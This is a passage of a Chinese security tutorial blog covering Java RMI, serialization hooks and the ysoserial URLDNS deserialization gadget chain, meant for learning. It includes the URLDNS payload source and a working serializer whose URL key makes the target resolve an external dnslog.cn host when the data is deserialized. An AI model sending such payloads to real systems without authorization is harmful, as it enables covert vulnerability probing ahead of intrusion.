\u7684\u8fdc\u7a0b\u5bf9\u8c61\uff0c\u6700\u540e\u8c03\u7528\u8fdc\u7a0b\u65b9\u6cd5&nbsp;sayHello\uff0c\u4f20\u5165\u53c2\u6570 &#8220;fushuling&#8221;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import java.rmi.registry.LocateRegistry;\nimport java.rmi.registry.Registry;\n\npublic class Client {\n    public static void main(String&#91;] args) {\n        try {\n            \/\/ \u8fde\u63a5\u5230\u670d\u52a1\u5668\uff08\u9ed8\u8ba4\u672c\u673a\uff09\n            Registry registry = LocateRegistry.getRegistry(\"localhost\");\n\n            \/\/ \u67e5\u627e\u8fdc\u7a0b\u5bf9\u8c61\n            Hello stub = (Hello) registry.lookup(\"HelloService\");\n\n            \/\/ \u8c03\u7528\u8fdc\u7a0b\u65b9\u6cd5\n            String response = stub.sayHello(\"fushuling\");\n            System.out.println(\"Server response:\" + response);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u5728\u8fd9\u4e2a\u76ee\u5f55\u4e0b\u8fdb\u884c\u7f16\u8bd1\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>javac -source 1.8 -target 1.8 -encoding UTF-8 *.java<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u5148\u8fd0\u884c\u670d\u52a1\u7aef\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>java Server<\/code><\/pre>\n\n\n\n<p>\u518d\u8fd0\u884c\u5ba2\u6237\u7aef\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>java Client<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250420-220927-20-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250420-220927-20-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd0\u884c\u6d41\u7a0b\u5c31\u662f\uff1a\u8fd0\u884c&nbsp;Server&nbsp;\u7c7b\u542f\u52a8 RMI \u670d\u52a1=&gt;\u8fd0\u884c&nbsp;Client&nbsp;\u7c7b\u8fde\u63a5\u670d\u52a1\u5e76\u8c03\u7528\u8fdc\u7a0b\u65b9\u6cd5=&gt;\u670d\u52a1\u5668\u5904\u7406\u8bf7\u6c42\u5e76\u8fd4\u56de\u7ed3\u679c=&gt;\u5ba2\u6237\u7aef\u63a5\u6536\u5e76\u663e\u793a\u7ed3\u679c<\/p>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u901a\u8fc7\u8fd9\u79cd\u65b9\u5f0f\uff0c\u6211\u4eec\u5c31\u5b9e\u73b0\u4e86\u5728\u4e00\u4e2ajvm\u4e2d\u7684\u5bf9\u8c61\u8c03\u7528\u53e6\u4e00\u4e2ajvm\u4e2d\u5bf9\u8c61\u4e0a\u7684\u65b9\u6cd5\uff0c\u6709\u70b9\u50cfRPC\uff0c\u4e0d\u8fc7\u8fd9\u91cc\u5b58\u5728\u4e00\u4e2aRMI Registry\u7f51\u5173\uff0c\u4ed6\u81ea\u5df1\u4e0d\u4f1a\u6267\u884c\u65b9\u6cd5\uff0c\u4f46\u662fRMI Server\u53ef\u4ee5\u5728\u4e0a\u2faf\u6ce8\u518c\u4e00\u4e2aName\u5230\u5bf9\u8c61\u7684\u7ed1\u5b9a\u5173\u7cfb\uff1bRMI Client\u901a\u8fc7Name\u5411RMI Registry\u67e5\u8be2\uff0c\u5f97\u5230\u8fd9\u4e2a\u7ed1\u5b9a\u5173\u7cfb\uff0c\u7136\u540e\u518d\u8fde\u63a5RMI<br>Server\uff1b\u6700\u540e\uff0c\u8fdc\u7a0b\u65b9\u6cd5\u5b9e\u9645\u4e0a\u5728RMI Server\u4e0a\u8c03\u7528\u3002<\/p>\n\n\n\n<p>\u53ef\u60f3\u800c\u77e5\uff0c\u65e2\u7136\u80fd\u8fdc\u7a0b\u8c03\u7528\u6076\u610f\u65b9\u6cd5\uff0c\u5c31\u5f88\u5bb9\u6613\u4fc3\u8fdb\u6076\u610f\u4ee3\u7801\u7684\u6267\u884c\uff0c\u4e3a\u6211\u4eec\u5b89\u5168\u4eba\u5458\u63d0\u4f9b\u66f4\u591a\u996d\u7897\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2F798901A4F8EDFB111B154FEA934A9EA3-20-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2F798901A4F8EDFB111B154FEA934A9EA3-20-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:237px;height:auto\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">\u53cd\u5e8f\u5217\u5316<\/h1>\n\n\n\n<p>\u5927\u90e8\u5206\u8bed\u8a00\u90fd\u5b58\u5728\u53cd\u5e8f\u5217\u5316\uff0c\u53cd\u5e8f\u5217\u5316\u672c\u8eab\u662f\u4e3a\u4e86\u5728\u7f51\u7edc\u4e2d\u4f20\u8f93\u5bf9\u8c61\u800c\u4f7f\u7528\u7684\uff0c\u6bd4\u5982php\u6216\u8005java\u91cc\u7684\u5e8f\u5217\u5316\u65b9\u6cd5\uff0c\u5c31\u53ef\u4ee5\u628a\u4e00\u4e2a\u5bf9\u8c61\u8f6c\u5316\u6210\u4e00\u4e32\u4e8c\u8fdb\u5236\u6570\u636e\u8fdb\u884c\u4f20\u8f93\u3002<\/p>\n\n\n\n<p>\u5728 Java \u7684\u5e8f\u5217\u5316\u8fc7\u7a0b\u4e2d\u6709\u4e00\u4e2a\u5f88\u5173\u952e\u7684\u65b9\u6cd5 <code>writeObject<\/code> \uff0c\u4ed6\u7528\u4e8e\u81ea\u5b9a\u4e49\u5bf9\u8c61\u5982\u4f55\u88ab\u5199\u5165\uff08\u5e8f\u5217\u5316\uff09\u5230\u5b57\u8282\u6d41\u8fd9\u4e2a\u8fc7\u7a0b\u4e2d\uff0c\u8ba9\u6211\u4eec\u5728\u5e8f\u5217\u5316\u6d41\u4e2d\u53ef\u4ee5\u63d2\u5165\u4e00\u4e9b\u81ea\u5b9a\u4e49\u6570\u636e\uff0c\u8fdb\u800c\u5728\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u80fd\u591f\u4f7f\u7528 readObject \u8fdb\u884c\u8bfb\u53d6\u3002<\/p>\n\n\n\n<p>readObject \u503e\u5411\u4e8e\u89e3\u51b3\u201c\u53cd\u5e8f\u5217\u5316\u65f6\u5982\u4f55\u8fd8\u539f\u4e00\u4e2a\u5b8c\u6574\u5bf9\u8c61\u201d\u8fd9\u4e2a\u95ee\u9898\uff0c\u800cPHP\u7684 __wakeup \u66f4\u503e\u5411\u4e8e\u89e3\u51b3\u201c\u53cd\u5e8f\u5217\u5316\u540e\u5982\u4f55\u521d\u59cb\u5316\u8fd9\u4e2a\u5bf9\u8c61\u201d\u7684\u95ee\u9898\u3002\u4e8b\u5b9e\u4e0a\u5728PHP\u7684\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\u4e2d\uff0c\u4e00\u65e6\u5f00\u59cb\u53cd\u5e8f\u5217\u5316(\u8c03\u7528unserialize)\uff0c\u5f00\u53d1\u8005\u5c31\u6ca1\u529e\u6cd5\u65b0\u589e\u5185\u5bb9\u4e86\uff0c\u60f3\u53c2\u4e0e\u53ea\u80fd\u5728\u5e8f\u5217\u5316\u4e4b\u524d\u6539\u5c5e\u6027\uff0c\u800cJava\u7684\u53cd\u5e8f\u5217\u5316\u5f88\u591a\u65f6\u5019\u9700\u8981\u5f00\u53d1\u8005\u6df1\u5165\u53c2\u4e0e\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528 <code>writeObject<\/code> \u5411\u5e8f\u5217\u5316\u6d41\u91cc\u5199\u5165\u6570\u636e\uff0c\u8fd9\u4e00\u70b9\u4e0ePHP\u662f\u6709\u5f88\u5927\u7684\u4e0d\u540c\u7684\u3002<\/p>\n\n\n\n<p>\u4e0b\u9762\u662f\u4e00\u4e2a\u7b80\u5355\u7684Java\u53cd\u5e8f\u5217\u5316\u7684\u4f8b\u5b50<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package Unserialize;\n\nimport java.io.*;\n\npublic class EasyDemo {\n    public static void main(String&#91;] args) throws Exception {\n        Person p = new Person(\"Fushuling\");\n        \/\/ \u5e8f\u5217\u5316\n        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"p.ser\"));\n        oos.writeObject(p);\n        oos.close();\n\n        \/\/ \u53cd\u5e8f\u5217\u5316\n        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(\"p.ser\"));\n        Person deserialized = (Person) ois.readObject();\n        ois.close();\n\n        System.out.println(\"\u2705 name: \" + deserialized.name);\n    }\n}\n\nclass Person implements Serializable {\n    private static final long serialVersionUID = 1L;\n\n    String name;\n\n    public Person(String name) {\n        this.name = name;\n    }\n\n    private void writeObject(ObjectOutputStream out) throws IOException {\n        System.out.println(\"\ud83d\udd12 writeObject \u88ab\u8c03\u7528\");\n        out.defaultWriteObject();\n    }\n\n    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {\n        System.out.println(\"\ud83d\udd13 readObject \u88ab\u8c03\u7528\");\n        in.defaultReadObject();\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250420-225823-20-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250420-225823-20-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u5728\u4e0a\u9762\u7684\u4ee3\u7801\u4e2d\uff0c\u6211\u4eec\u9996\u5148\u521b\u5efa\u5bf9\u8c61\u5e76\u5e8f\u5217\u5316\uff0c\u4e5f\u5c31\u662f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Person p = new Person(\"Fushuling\");\nObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"p.ser\"));\noos.writeObject(p);\noos.close();<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u521b\u5efa\u4e86\u4e00\u4e2a <code>Person<\/code> \u5b9e\u4f8b\uff0c\u4f20\u5165\u540d\u5b57 <code>\"Fushuling\"<\/code>\uff0c\u521b\u5efa\u6587\u4ef6\u8f93\u51fa\u6d41\uff0c\u6307\u5411 <code>p.ser<\/code> \u6587\u4ef6\uff08\u4fdd\u5b58\u5e8f\u5217\u5316\u540e\u7684\u5b57\u8282\uff09\uff0c\u5305\u88c5\u6210 <code>ObjectOutputStream<\/code>\uff0c\u5b83\u652f\u6301 <code>.writeObject()<\/code>\u3002\u8fd9\u91ccoos.writeObject(p)\u4f1a\u81ea\u52a8\u8c03\u7528 <code>p<\/code> \u7684<code>writeObject()<\/code> \u65b9\u6cd5\uff08\u5982\u679c\u5b9a\u4e49\u4e86\u7684\u8bdd\uff0c\u4e5f\u5c31\u662f\u90a3\u4e2aprivate void writeObject\uff0c\u5426\u5219\u5c31\u9ed8\u8ba4\u5e8f\u5217\u5316\u5b57\u6bb5\uff09\uff0c\u6700\u540e\u5173\u95ed\u4e86\u8f93\u51fa\u6d41\u3002<\/p>\n\n\n\n<p>\u63a5\u7740\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u5bf9\u8c61<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ObjectInputStream ois = new ObjectInputStream(new FileInputStream(\"p.ser\"));\nPerson deserialized = (Person) ois.readObject();\nois.close();<\/code><\/pre>\n\n\n\n<p>\u5177\u4f53\u800c\u8a00\uff0c\u5148\u6253\u5f00 <code>p.ser<\/code> \u6587\u4ef6\uff0c\u8bfb\u53d6\u521a\u521a\u5199\u5165\u7684\u5bf9\u8c61\uff0c\u63a5\u7740\u4f7f\u7528 <code>ObjectInputStream<\/code> \u53cd\u5e8f\u5217\u5316(<code>readObject()<\/code> \u4f1a\u8fd4\u56de\u4e00\u4e2a <code>Object<\/code>\uff0c\u6240\u4ee5\u8981\u5f3a\u5236\u8f6c\u6210 <code>Person<\/code>)\u3002ois.readObject()\u4f1a\u5224\u65ad\u8fd9\u4e2a\u5bf9\u8c61\u7684\u7c7b\uff08\u8fd9\u91cc\u662f <code>Person<\/code>\uff09\u6709\u6ca1\u6709\u5b9a\u4e49\u4e00\u4e2a\u79c1\u6709\u7684 <code>readObject(ObjectInputStream)<\/code> \u65b9\u6cd5\uff0c\u6709\u7684\u8bdd\u5c31\u4f1a\u8c03\u7528\u540e\u518d\u628a\u5bf9\u8c61\u8fd4\u56de\u3002\u7531\u4e8e\u83b7\u5f97\u4e86\u4e00\u4e2a\u5b8c\u597d\u7684\u5bf9\u8c61\uff0c\u6240\u4ee5\u6211\u4eec\u5728\u6700\u540e\u53ef\u4ee5\u76f4\u63a5\u7528deserialized.name\u8f93\u51fa\u4ed6\u7684name\u3002<\/p>\n\n\n\n<p>\u5f53\u7136\uff0c\u5373\u4f7f\u6211\u4eec\u6ca1\u6709\u5b9e\u73b0<code>private void writeObject(...)<\/code> \u548c <code>readObject(...)<\/code>\uff0c\u6211\u4eec\u4f9d\u7136\u9700\u8981\u5199\u8fd9\u4e24\u884c\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>oos.writeObject(p);       \/\/ \u5199\u5165\u5bf9\u8c61\nois.readObject();         \/\/ \u8bfb\u53d6\u5bf9\u8c61<\/code><\/pre>\n\n\n\n<p>\u4ed6\u4e5f\u4f1a\u6b63\u5e38\u7684\u8fdb\u884c\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\uff0c\u53ea\u662f\u5982\u679c\u6211\u4eec\u989d\u5916\u5b9e\u73b0\u4e86\u8fd9\u4fe9\u65b9\u6cd5\u7684\u8bdd\u5c31\u53ef\u4ee5\u589e\u52a0\u989d\u5916\u903b\u8f91\u4e86\uff0c\u6bd4\u5982\u6211\u4eec\u5728\u4e4b\u524d\u7684\u4ee3\u7801\u7684\u57fa\u7840\u4e0a\u7a0d\u5fae\u4fee\u6539\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>class Person implements Serializable {\n    private static final long serialVersionUID = 1L;\n\n    String name;\n\n    public Person(String name) {\n        this.name = name;\n    }\n\n    \/\/ \u81ea\u5b9a\u4e49\u5e8f\u5217\u5316\uff1a\u5199\u5165\u539f\u5b57\u6bb5 + \u989d\u5916\u903b\u8f91\n    private void writeObject(ObjectOutputStream out) throws IOException {\n        System.out.println(\"\ud83d\udd12 writeObject \u88ab\u8c03\u7528\");\n        out.defaultWriteObject();  \/\/ \u5199\u5165\u9ed8\u8ba4\u5b57\u6bb5\uff08\u5982 name\uff09\n        \n        long timestamp = System.currentTimeMillis(); \n        System.out.println(\"\ud83d\udd52 \u5199\u5165\u65f6\u95f4\u6233: \" + timestamp);\n        out.writeLong(timestamp);  \/\/ \u5199\u5165\u4e00\u4e2a\u989d\u5916\u7684\u65f6\u95f4\u6233\n    }\n\n    \/\/ \u81ea\u5b9a\u4e49\u53cd\u5e8f\u5217\u5316\uff1a\u8bfb\u53d6\u539f\u5b57\u6bb5 + \u989d\u5916\u903b\u8f91\n    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {\n        System.out.println(\"\ud83d\udd13 readObject \u88ab\u8c03\u7528\");\n        in.defaultReadObject();  \/\/ \u6062\u590d\u9ed8\u8ba4\u5b57\u6bb5\uff08\u5982 name\uff09\n\n        long timestamp = in.readLong(); \n        System.out.println(\"\ud83d\udd52 \u53cd\u5e8f\u5217\u5316\u65f6\u8bfb\u53d6\u65f6\u95f4\u6233: \" + timestamp); \/\/ \u8bfb\u53d6\u4e00\u4e2a\u989d\u5916\u7684\u65f6\u95f4\u6233\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250420-231905-20-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250420-231905-20-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u7528 <code>writeObject()<\/code> \u5199\u5165\u4e00\u4e2a\u989d\u5916\u7684\u65f6\u95f4\u6233\uff0c\u7528\u6765\u8868\u793a\u8fd9\u4e2a\u5bf9\u8c61\u88ab\u5e8f\u5217\u5316\u7684\u65f6\u95f4\uff1b<code>readObject()<\/code> \u5728\u53cd\u5e8f\u5217\u5316\u65f6\u628a\u5b83\u8bfb\u56de\u6765\u5e76\u6253\u5370\u51fa\u6765\uff0c\u53ef\u4ee5\u53d1\u73b0\u73b0\u5728\u6211\u4eec\u5176\u5b9e\u5c31\u6539\u53d8\u4e86\u539f\u59cb\u7684\u5e8f\u5217\u5316\u6d41\uff0c\u800c\u8fd9\u4e00\u70b9PHP\u662f\u505a\u4e0d\u5230\u7684\uff0c\u4e5f\u5bfc\u81f4\u4e3a\u4ec0\u4e48Java\u7684\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u53c8\u591a\u53c8\u4e25\u91cd\uff0c\u800cPHP\u7684\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u67d0\u79cd\u610f\u4e49\u4e0a\u5176\u5b9e\u90fd\u4e0d\u7b97\u662f\u6f0f\u6d1e\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">URLDNS<\/h1>\n\n\n\n<p><strong>URLDNS<\/strong> \u662f\u7531 <a class=\"\" href=\"https:\/\/github.com\/frohoff\/ysoserial\">ysoserial<\/a> \u63d0\u4f9b\u7684\u4e00\u79cd\u65e0\u4f9d\u8d56\u3001\u65e0\u56de\u663e\u3001\u65e0\u547d\u4ee4\u6267\u884c\u7684 Java \u53cd\u5e8f\u5217\u5316 gadget \u94fe\uff08gadget\u94fe\u4e5f\u5c31\u662f\u5229\u7528\u94fe\u7684\u7684\u610f\u601d\uff0c\u6709\u65f6\u5019\u6211\u4eec\u4f1a\u8fdb\u4e00\u6b65\u7b80\u79f0\u4e3agadget\uff09\uff0c\u5176\u672c\u8d28\u76ee\u7684\u662f\u89e6\u53d1 DNS \u8bf7\u6c42\uff0c\u7528\u4e8e\u9a8c\u8bc1\u76ee\u6807\u662f\u5426\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u3002URLDNS\u5b8c\u5168\u7531Java\u5185\u7f6e\u7c7b\u6784\u9020\uff0c\u6ca1\u6709\u5bf9\u7b2c\u4e09\u65b9\u5e93\u7684\u4f9d\u8d56\uff0c\u56e0\u6b64\u975e\u5e38\u9002\u5408\u7528\u6765\u63a2\u6d4b\u4e00\u4e2a\u76ee\u6807\u662f\u5426\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u3002<\/p>\n\n\n\n<p>\u7ffb\u5f00ysoerial\u7684\u6e90\u7801\uff1a<a href=\"https:\/\/github.com\/frohoff\/ysoserial\/blob\/master\/src\/main\/java\/ysoserial\/payloads\/URLDNS.java\">https:\/\/github.com\/frohoff\/ysoserial\/blob\/master\/src\/main\/java\/ysoserial\/payloads\/URLDNS.java<\/a>\uff0cURLDNS\u7684\u6838\u5fc3\u5176\u5b9e\u662f\u4e0b\u9762\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public class URLDNS implements ObjectPayload&lt;Object&gt; {\n\n        public Object getObject(final String url) throws Exception {\n\n                \/\/Avoid DNS resolution during payload creation\n                \/\/Since the field &lt;code&gt;java.net.URL.handler&lt;\/code&gt; is transient, it will not be part of the serialized payload.\n                URLStreamHandler handler = new SilentURLStreamHandler();\n\n                HashMap ht = new HashMap(); \/\/ HashMap that will contain the URL\n                URL u = new URL(null, url, handler); \/\/ URL to use as the Key\n                ht.put(u, url); \/\/The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.\n\n                Reflections.setFieldValue(u, \"hashCode\", -1); \/\/ During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.\n\n                return ht;\n        }\n\n        public static void main(final String&#91;] args) throws Exception {\n                PayloadRunner.run(URLDNS.class, args);\n        }\n\n        \/**\n         * &lt;p&gt;This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.\n         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior\n         * using the serialized object.&lt;\/p&gt;\n         *\n         * &lt;b&gt;Potential false negative:&lt;\/b&gt;\n         * &lt;p&gt;If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the\n         * second resolution.&lt;\/p&gt;\n         *\/\n        static class SilentURLStreamHandler extends URLStreamHandler {\n\n                protected URLConnection openConnection(URL u) throws IOException {\n                        return null;\n                }\n\n                protected synchronized InetAddress getHostAddress(URL u) {\n                        return null;\n                }\n        }\n}<\/code><\/pre>\n\n\n\n<p>\u6838\u5fc3\u5c31\u662f\u6784\u9020\u4e00\u4e2a HashMap\uff0c\u5176 key \u662f\u7279\u5236\u7684 java.net.URL \u5bf9\u8c61\uff0c\u5f53\u53cd\u5e8f\u5217\u5316\u8be5 HashMap \u65f6\uff0c\u4f1a\u81ea\u52a8\u8c03\u7528 URL.hashCode()\uff0c\u800c\u8fd9\u4e2a\u65b9\u6cd5\u5185\u90e8\u4f1a\u89e6\u53d1 DNS \u89e3\u6790\uff0c\u4ece\u800c\u5411\u4f60\u63a7\u5236\u7684 DNS \u670d\u52a1\u5668\u53d1\u8d77\u8bf7\u6c42\u3002\u5f53\u7136getObject\u8fd9\u4e2a\u65b9\u6cd5\u672c\u8eab\u662f\u4e0d\u4f1a\u89e6\u53d1DNS\u7684\uff0c\u8fd9\u53ea\u662f\u6784\u9020\u4e86\u4e00\u4e2a\u5bf9\u8c61\u7f62\u4e86\uff0c\u6ce8\u89e3\u4e00\u4e0b\u5927\u6982\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public Object getObject(final String url) throws Exception {\n\n    \/\/ 1. \u521b\u5efa\u81ea\u5b9a\u4e49 handler\uff0c\u9632\u6b62\u6784\u9020\u9636\u6bb5\u89e6\u53d1 DNS \u8bf7\u6c42\n    URLStreamHandler handler = new SilentURLStreamHandler();\n\n    \/\/ 2. \u521b\u5efa HashMap \u548c URL \u5bf9\u8c61\n    HashMap ht = new HashMap(); \/\/ \u751f\u6210\u4e00\u4e2aHashMap\u5bf9\u8c61\n    URL u = new URL(null, url, handler); \/\/ \u6784\u9020\u65f6\u5982\u679c\u6ca1\u6709 handler\uff0c\u4f1a\u53d1\u8d77 DNS\uff08\u4f46\u8fd9\u91cc\u907f\u514d\u4e86\uff09\n\n    \/\/ 3. \u653e\u5165 HashMap\uff0ckey \u662f URL \u5bf9\u8c61\n    ht.put(u, url); \/\/ \u4f1a\u8c03\u7528 URL.hashCode()\uff0c\u4f46\u4e0d\u4f1a\u89e6\u53d1 DNS\uff0c\u56e0\u4e3a handler \u662f\u7a7a\u5b9e\u73b0\n\n    \/\/ 4. \u6e05\u9664 hashCode \u7f13\u5b58\uff0c\u9632\u6b62\u4e0b\u6b21\u4e0d\u89e6\u53d1 DNS\n    Reflections.setFieldValue(u, \"hashCode\", -1);\n\n    return ht;\n}<\/code><\/pre>\n\n\n\n<p>\u800c\u5f53\u8fd9\u4e2apayload\uff08\u4e5f\u5c31\u662f\u88ab\u53cd\u5e8f\u5217\u5316\u540e\u7684\u5bf9\u8c61\uff09\u88ab\u53d1\u9001\u7ed9\u76ee\u6807\u7cfb\u7edf\u5e76\u8fdb\u884c\u89e6\u53d1\u7684\u65f6\u5019\uff0c\u6bd4\u5982\u4e0b\u9762\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));\nObject obj = ois.readObject();<\/code><\/pre>\n\n\n\n<p>\u5c31\u4f1a\u8d70\u6211\u4eec\u4e4b\u524d\u8bf4\u7684Gadget\u89e6\u53d1\u6f0f\u6d1e\u3002<\/p>\n\n\n\n<p>\u4e3a\u4e86\u4fbf\u4e8e\u7406\u89e3\uff0c\u8fd9\u91cc\u6211\u76f4\u63a5\u7ed9\u51fa\u80fd\u6253\u901a\u7684\u4ee3\u7801\uff08\u9ad8\u7248\u672c\u4f1a\u6709\u9ebb\u70e6\uff0c\u6211\u8fd9\u91cc\u4f7f\u7528\u7684\u662f<a href=\"https:\/\/www.oracle.com\/cn\/java\/technologies\/javase\/javase8-archive-downloads.html\">JDK 1.8<\/a>\uff0c\u4e5f\u5c31\u662fjava 8\uff09\uff1a<\/p>\n\n\n\n<p>\u5e8f\u5217\u5316\u7684\u4ee3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package URLDNS;\n\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.net.URL;\nimport java.util.HashMap;\n\npublic class SerializeTest {\n    public static void serialize(Object obj) throws IOException {\n        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"ser.bin\"));\n        oos.writeObject(obj);\n    }\n\n    public static void main(String&#91;] args) throws Exception {\n        HashMap&lt;URL, Integer&gt; hashmap = new HashMap&lt;URL, Integer&gt;();\n        URL url = new URL(\"http:\/\/18qmlt.dnslog.cn\");\n        Class&lt;? extends URL&gt; clazz = url.getClass();\n        Field field = clazz.getDeclaredField(\"hashCode\");\n        field.setAccessible(true);\n        field.set(url, 1234);\n        hashmap.put(url, 1);\n        field.set(url, -1);\n        serialize(hashmap);\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u53cd\u5e8f\u5217\u5316\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package URLDNS;\n\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.ObjectInputStream;\n\npublic class UnSerializeTest {\n    public static Object unSerialize(String Filename) throws IOException , ClassNotFoundException{\n        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));\n        Object obj = ois.readObject();\n        return obj;\n    }\n\n    public static void main(String&#91;] 